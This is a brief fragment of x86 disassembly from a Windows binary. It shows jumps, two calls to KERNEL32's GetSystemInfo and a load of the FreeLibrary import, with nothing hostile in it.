jmp 0x40e787
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemInfo]
jmp 0x40e801
lea ecx, [ebp - 0x40]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetSystemInfo]
mov esi, dword [sym.imp.KERNEL32.DLL_FreeLibrary]
jmp 0x40e811